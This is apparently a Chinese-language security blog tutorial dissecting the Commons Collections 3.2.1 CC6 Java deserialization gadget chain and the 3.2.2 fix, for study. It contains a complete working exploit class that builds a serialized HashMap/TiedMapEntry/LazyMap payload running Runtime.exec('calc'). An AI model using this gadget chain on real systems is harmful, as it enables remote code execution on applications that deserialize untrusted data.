0x01 环境搭建 Commons Collections 3.2.1(3.2.2 起默认禁止危险 Functor 类的序列化与反序列化)
在 JDK 8 的常见版本中,CC6 不依赖 CC1 所使用的 AnnotationInvocationHandler 旧实现,但仍受 Commons Collections 版本、运行环境和其他防护条件限制。
0x02 CC6攻击链分析 2.1. 找到尾部 1 2 3 4 5 尾部还是用到了InvokerTransformer,可以反射调用任意类,就可以执行任意方法 Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);
2.2. 初步找链子 1 2 3 4 5 6 7 8 9 10 11 org.apache.commons.collections.map.LazyMap#get 调用了transform()方法,其实就跟CC1链哪里一样了 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
1 2 3 4 5 6 7 然后找一下那个类调用了get()方法,直接参照ysoserial cc6怎么写的,其中TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。 TiedMapEntry.hashCode() 设计时为了保证键值对的哈希值唯一性,会同时计算 key 和 value 的哈希值,所以调用getValue()获取 value public Object getValue () {return map.get(key);}
1 2 3 4 5 6 可以通过构造函数进行传值 public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; }
尝试弹一下计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }),}; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> hashmap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1" );tiedMapEntry.getValue();
1 2 3 4 5 6 7 8 往上去找谁调用了 TiedMapEntry 中的 getValue() 方法,寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
1 2 3 4 5 java.util.HashMap#hash 调用了hashCode() 方法, public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
2.3. 寻找入口readObject() 那其实就跟URLDNS链一样了,最后找到了java.util.HashMap#readObject,因为readObject这里有个通过循环会为每一个序列化前的键值对调用了 putVal方法。而 putVal方法,里面又调用了hash()方法。
1 2 3 4 5 6 7 8 9 10 private void readObject(java.io.ObjectInputStream s) // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
1 2 3 4 5 6 7 进入hash()方法,HashMap.hash() 设计的核心目的是计算 key 的哈希值以确定数组索引,所以必须调用key.hashCode() `hash()` 判断 key 是否为空;如果不为空,就调用 `key.hashCode()`。 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
1 既然反序列化时会循环处理键值对,就需要通过 `put()` 添加键值对,并将 `tiedMapEntry` 作为 key;`put()` 内部会调用 `putVal()`。
readObject() 在反序列化过程中循环处理键值对,并为每一组数据调用 putVal()。putVal() 正是 put() 内部执行插入逻辑的核心方法。下面构造测试代码验证调用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashmap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1" ); HashMap<Object, Object> exp = new HashMap <>(); exp.put(tiedMapEntry, "1" ); } }
1 2 3 4 5 6 7 8 9 序列化的时候,就能够弹出计算器。 exp.put(tiedMapEntry, "1");就触发了putVal 然后就变成了putVal(hash(tiedMapEntry)-->tiedMapEntry.hashCode()--> LazyMap.get()--> Transformer.transform()触发。 public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 所以可以先在执行 put()方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。那我们可以先序列化的时候传入没用的值,在反序列化的时候,通过反射在传入chainedTransformer,修改回其值。 Map lazyMap = LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1" );改成-------------------------- 移除lazyMap.remove("1" ); 因为传入的是一个无害的 new ConstantTransformer (1 ),这个 get操作也会在 lazyMap的内部映射中存入键值对"key" -> 1. 当反序列化流程再次执行到 lazyMap.get("key" )时,由于 "key" 已经存在于 lazyMap中,LazyMap会直接返回之前缓存的值(1 ),而不会执行你已经通过反射设置好的、真正的恶意 ChainedTransformer,导致利用链失效 Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("1" ));TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1" );HashMap<Object, Object> exp = new HashMap <>(); exp.put(tiedMapEntry, "2" ); lazyMap.remove("1" ); 在反射修改值: Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer);
0x03 CC6** EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc6 { public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Transformer harmless = new ConstantTransformer (1 ); HashMap<Object, Object> hashmap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashmap, harmless); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "test2" ); HashMap<Object, Object> exp = new HashMap <>(); exp.put(tiedMapEntry, "test3" ); lazyMap.remove("test2" ); Field factoryField = LazyMap.class.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); serialize(exp); unserialize("ccc.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ccc.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
1 2 3 4 5 6 7 8 在 HashMap<Object, Object> expMap = new HashMap<>();这里打断点,会弹计算器了 在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 .toString() 方法,所以在创建 TiedMapEntry的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。s public String toString() { return getKey() + "=" + getValue(); }
可以通过设置修改
0x04 漏洞修复 4.1 Commons Collections >= 3.2.2 之后修复 1 3.2.2 及之后就修复了,底层原理:在 readObject 时增加了校验,除非开发者手动设置系统属性 org.apache.commons.collections.enableUnsafeSerialization 为 true,否则只要反序列化到这些危险类,直接抛出 UnsupportedOperationException 异常,如下图所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 可以在org.apache.commons.collections.functors.InvokerTransformer#readObject 处打断点 Commons Collections 3.2.2之后的InvokerTransformer的readObject()方法多了一个reFunctorUtils.checkUnsafeSerialization,如果没开启系统白名单属性,反序列化到这里当场抛异常报错。 static void checkUnsafeSerialization(Class clazz) { String unsafeSerializableProperty; try { unsafeSerializableProperty = (String)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"); } }); } catch (SecurityException var3) { unsafeSerializableProperty = null; } if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) { throw new UnsupportedOperationException("Serialization support for " + clazz.getName() + " is disabled for security reasons. " + "To enable it set system property '" + "org.apache.commons.collections.enableUnsafeSerialization" + "' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources."); } }
1 对比 Commons Collections 3.2.1 的代码,`InvokerTransformer` 中不存在 3.2.2 新增的反序列化安全检查。
0x05 总结 CC6 与 CC1 的关键区别是:经典 CC1 链依赖 AnnotationInvocationHandler 的旧实现,该路径在 JDK 8u71 后发生变化;CC6 使用 JDK 自带的 HashMap.readObject() 作为入口,因此不受这一处改动影响,但不能据此概括为在所有 JDK 和运行环境中都“无版本限制”。
**执行危险方法的尾链:**InvokerTransformer#transform 通过反射调用任意方法,是执行命令的最终点,这样我们就可以反射调用Runtime类,执行系统命令
过程:
1 2 3 4 LazyMap#get 调用了 transform() 方法 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法 同名函数下hashCode() 方法调用了 getValue() 方法 HashMap#hash 调用了hashCode() 方法
**执行readObject() 方法的入口:**java.util.HashMap#readObject,通过循环,会为每一个序列化前的键值对调用了 putVal方法。而 putVal方法,里面又调用了hash()方法,hash方法调用了hashCode() 。
1 2 3 4 5 6 7 8 9 10 利用链路: InvokerTransformer#transform LazyMap#get TiedMapEntry#getValue TiedMapEntry#hashCode HashMap#hash HashMap#readObject 辅助链: ConstantTransformer ChainedTransformer